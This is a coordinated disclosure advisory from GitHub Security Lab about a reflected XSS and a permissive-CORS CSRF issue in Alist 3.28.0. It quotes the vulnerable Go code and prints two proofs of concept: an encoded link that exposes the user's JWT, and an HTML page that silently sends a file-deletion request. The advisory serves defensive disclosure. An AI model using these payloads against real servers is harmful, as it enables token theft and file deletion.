Coordinated Disclosure Timeline

Summary

A reflected Cross-Site Scripting (XSS) vulnerability exists in Alist that may allow unauthenticated users to steal the JWT token of users that click on a specially crafted link. In the worst case, this may allow an unauthenticated user to copy, delete and read arbitrary files on connected services or locally.

Project

Alist

Tested Version

3.28.0

Details

Issue 1: Reflected XSS in helper.go (GHSL-2023-220)

The endpoint /i/:link_name takes in a user-provided value and reflects it back in the response. The endpoint returns an application/xml response, opening it up to HTML tags via XHTML and thus leading to a XSS vulnerability.

func Plist(c *gin.Context) {
	linkNameB64 := strings.TrimSuffix(c.Param("link_name"), ".plist")
	linkName, err := utils.SafeAtob(linkNameB64)
	if err != nil {
		common.ErrorResp(c, err, 400)
		return
	}
	linkNameSplit := strings.Split(linkName, "/")
	if len(linkNameSplit) != 2 {
		common.ErrorStrResp(c, "malformed link", 400)
		return
	}
	linkEncode := linkNameSplit[0]
	linkStr, err := url.PathUnescape(linkEncode)
        link, err := url.Parse(linkStr)
        Url := link.String()
        plist := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> // <----- Url is formatted into this fmt.Sprintf
       ...
       c.Header("Content-Type", "application/xml;charset=utf-8")
       _, _ = c.Writer.WriteString(plist)    <----- and returned here

This vulnerability was found using CodeQL’s Go Reflected XSS Query.

Impact

This issue may lead to arbitrary file deletion, arbitrary file read, and downloading arbitrary files.

Proof of Concept

Sign into any account and click on the following link, the JWT token of the current logged-in user should be displayed in an alert window:

http://alist.domain/i/JTY4JTc0JTc0JTcwJTNhJTJmJTJmJTY2JTZmJTZmJTJlJTYzJTZmJTZkJTNmJTVkJTVkJTNlJTNjJTJmJTczJTc0JTcyJTY5JTZlJTY3JTNlJTNjJTc4JTNhJTczJTYzJTcyJTY5JTcwJTc0JTIwJTc4JTZkJTZjJTZlJTczJTNhJTc4JTNkJTIyJTY4JTc0JTc0JTcwJTNhJTJmJTJmJTc3JTc3JTc3JTJlJTc3JTMzJTJlJTZmJTcyJTY3JTJmJTMxJTM5JTM5JTM5JTJmJTc4JTY4JTc0JTZkJTZjJTIyJTNlJTYxJTZjJTY1JTcyJTc0JTI4JTZjJTZmJTYzJTYxJTZjJTUzJTc0JTZmJTcyJTYxJTY3JTY1JTJlJTY3JTY1JTc0JTQ5JTc0JTY1JTZkJTI4JTIyJTc0JTZmJTZiJTY1JTZlJTIyJTI5JTI5JTNjJTJmJTc4JTNhJTczJTYzJTcyJTY5JTcwJTc0JTNlJTNjJTczJTc0JTcyJTY5JTZlJTY3JTNlJTNjJTIxJTViJTQzJTQ0JTQxJTU0JTQxJTViL0ZPTw==

Issue 2: CSRF for anonymous users via Improper CORS Headers

Note: Due to the unauthenticated nature of this issue, we are reporting it but not labeling it a vulnerability.

In the case where a guest user is enabled, the application is accessible with no authentication. An attacker may be able to make requests on behalf of guest users (unauthenticated). This is due to the Access-Control-Allow headers being set to all origins (*).

func Cors(r *gin.Engine) {
	config := cors.DefaultConfig()
	config.AllowAllOrigins = true
	config.AllowHeaders = []string{"*"}
	config.AllowMethods = []string{"*"}
	r.Use(cors.New(config))
}

Impact

If the Alist server is located in an internal network and assumed to be inaccessible by the outside world, an attacker from the outside world may be able to get any user connected to the internal network to make arbitrary requests with only guest permissions by visiting a specially crafted website. For example, if the guest user is able to read files from folder X or delete files from folder Y, an attacker can get the guest user to delete folder Y after visiting a specially crafted attacker website.

Proof of Concept

Create an index.html file and put the following html in there:

<html>
  <body>
          <h1>hello</h1>
    <script>
   const xhr = new XMLHttpRequest();
         xhr.open("POST", "http://0.0.0.0:5244/api/fs/remove", true);

         xhr.setRequestHeader("Content-Type", "application/json;charset=utf-8");
         xhr.send(JSON.stringify({"dir":"/tmp/test","names":["test.txt"]}))
    </script>
  </body>
</html>

After a victim browses to index.html, a request will be send to /api/fs/remove to remove the file located in /tmp/test/test.txt. If the guest user (unauthenticated) has permission to delete such a file, the action will get executed.

CVE

Credit

This issue was discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings). Special thanks to Alvaro Munoz for help in exploiting this vulnerability.

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-220 in any communication regarding this issue.